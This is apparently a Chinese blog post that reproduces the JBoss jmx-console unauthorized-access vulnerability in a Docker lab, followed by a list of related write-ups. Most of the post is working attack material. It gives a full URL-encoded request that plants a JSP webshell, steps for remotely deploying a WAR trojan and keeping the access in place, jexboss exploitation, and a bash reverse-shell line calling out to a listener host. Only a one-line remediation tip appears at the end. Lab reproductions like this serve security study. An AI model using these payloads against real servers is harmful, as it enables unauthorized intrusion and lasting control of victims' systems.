一、前言

漏洞原因:在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码。

二、环境配置

使用docker搭建环境

docker search testjboss    #搜索环境

docker pull testjboss/jboss   选择环境

docker run -p 80:8080 -d testjboss/jboss   #查看打开的docker环境

运行环境,访问http://ip

三、漏洞复现

方法一:写木马

直接访问jboss控制台

http://192.168.78.129/jmx-console/

写入一句话木马:

http://ip/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

url中的参数:arg0代表war包的名称,arg1=文件名称,arg2=文件后缀名,arg3=文件内容

将arg3的值取出来并url解码:

<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“/”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); %>

这个语句的功能是写入文件功,f=文件名,t=文件内容

写入1.txt文件

http://192.168.78.129/August/shell.jsp?f=1.txt&t=hello%20world!

访问1.txt文件

方法二:上传木马

首先制作一个war木马(需要jdk),在java目录下管理员cmd执行:

jar cvf ma.war index.jsp  (自备index.jsp马哦,将index.jsp放入java目录下运行)

生成ma.war

将ma.war放在自己的服务器上

Jboxx4.x /jmx-console/ 后台存在未授权访问,进入后台后,可直接部署 war 包Getshell。若需登录,可以尝试爆破弱口令登录。

然后找到jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)

找到页面中的void addURL()选项来远程加载war包来部署。

接下来我们查看是否部署成功

返回到刚进入jmx-console的页面,找到 jboss.web.deployment,如下说明部署成功。如果没显示,多刷新几次页面或者等会儿,直到看到有部署的war包即可

接下来访问木马

成功访问木马

这个目录最多用作临时维持下权限,所以可以把shell传到jmx-console的默认目录来巩固权限

jboss-4.2.3.GAserverdefaultdeployjmx-console.war

方法三:使用检测工具

检测工具:jexboss,一个使用Python编写的Jboss漏洞检测利用工具,通过它可以检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得一个shell。

下载地址:https://github.com/joaomatosf/jexboss

python2 jexboss.py -u http://ip:port

反弹shell到另一个kali机上,并在另一个kali机开启nc监听

bash -i >& /dev/tcp/192.168.78.128/7777 0>&1

四、修复建议

关闭jmx-console和web-console,提高安全性。

Jboss未授权访问漏洞记录(影响版本:全版本,端口:80,8080)相关推荐

  1. Alibaba Druid未授权访问漏洞记录(敏感目录,端口:不确定)

    Druid简介 1.Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池. 2.Druid提供的监控功能,监控SQL的执行时间.监控Web URI的请求.Session监控. Druid可能 ...

  2. JBoss未授权访问漏洞Getshell过程复现

    文章目录 前言 漏洞复现 漏洞描述 靶场搭建 漏洞利用 防御手段 Jexboss脚本 前言 在 2021 年第五届强网杯全国网络安全挑战赛的 EasyWeb 赛题中遇到了 JBoss 未授权访问漏洞 ...

  3. MongoDB未授权访问漏洞记录(端口:27017,37017)

    一.漏洞危害 对外开放的MongoDB服务,未配置访问认证授权,无需认证连接数据库后对数据库进行任意操作(增.删.改.查高危动作),存在严重的数据泄露风险. 二.漏洞成因 MongoDB服务安装后,默 ...

  4. Redis未授权访问漏洞记录(端口:6379)

    目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 ​ 写入/etc/passwd文件 利用主从复制RCE ​ 本地Red ...

  5. Rsync未授权访问漏洞记录(影响范围:全版本,端口:873)

    1. 漏洞介绍及危害 Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录.Rsync 默认允许匿 ...

  6. CouchDB未授权访问漏洞记录(端口:5984、6984,CVE-2017-12635,CVE-2017-12636)复现失败

    复现exp失败 漏洞简介以及危害 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript ...

  7. jenkins未授权访问漏洞记录(端口:7001,80,8080,50000)

    一.漏洞描述 未授权访问管理控制台,可以通过脚本命令行执行系统命令.通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshell文件. 二.漏洞环境搭建 ...

  8. Memcached未授权访问漏洞记录(CVE-2013-7239、危害级别全版本、端口:11211)

    Memcached介绍 Memcached是一个自由开源的,高性能,分布式内存对象缓存系统. Memcached是以LiveJournal旗下Danga Interactive公司的Brad Fitz ...

  9. Hadoop未授权访问漏洞记录(影响版本:全版本,端口号:50070)

    漏洞简介以及危害 Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器器直接在开放了了 Hadoop 机器器 HDFS 的 50070 web 端口及部分默认服务口口,黑客可以 ...

最新文章

  1. 手写体数字识别+界面
  2. html图片加波浪滤镜,CSS滤镜wave属性(波形滤镜)
  3. redis php 持久化,详解Redis RDB持久化、AOF持久化,
  4. 炸金花比牌规则java_陈陈来给你们炸金花的简易纸牌规则教学与心态指导
  5. mysql数据库用户的创建_mysql创建用户及数据库
  6. Shiro系列-Shiro的怎么进行授权操作
  7. bug-AttributeError: ‘NoneType‘ object has no attribute ‘append‘
  8. Spring Boot 项目优化和Jvm调优 (楼主亲测,真实有效)
  9. 一个初学者的辛酸路程-常用模块-6
  10. 用Java实现学生管理系统【简化版】基础
  11. 【系统安全学习3】拒绝服务攻击
  12. php tcpdf 没有头部,TCPDF - 设置头部Logo不显示问题
  13. 把Sublime添加到Mac右键菜单
  14. GAMES101-现代计算机图形学入门-闫令琪——Lecture 12 Geometry 3 学习笔记
  15. Linux服务器开发实战——QT控制界面+epoll聊天服务
  16. 360无线wifi 无法连接服务器,360wifi连接上但上不了网的解决方法
  17. 【JavaSe】异常
  18. 高稳定度低纹波直流电源设计 【转自电子工程师世界】
  19. curl证书过期_定时检测SSL证书过期情况并发送通知
  20. 自学IT 必去的两个学习网站

热门文章

  1. 吴恩达机器学习笔记二之多变量线性回归
  2. Adobe illustrator 图的放置和微调 - 连载 9
  3. RNA-seq最强综述名词解释思维导图|关于RNA-seq,你想知道的都在这(续)
  4. Stats mac免费版 2.4.9(支持M1驱动器的mac,最新macOS系统)
  5. Mac Backup软件:不要冒险您的数据!
  6. ht1621b和单片机电平匹配_有备无患,单片机面试问题集
  7. 洛谷 刷题 深基部分题解(python版)-2022.01.29
  8. 1.7 编程基础之字符串 27 单词翻转 4分 python
  9. 整理的3500个常用汉字的调用字典
  10. 【原型设计】第五节:Axure RP9 交面交互的使用说明 02 显示隐藏元素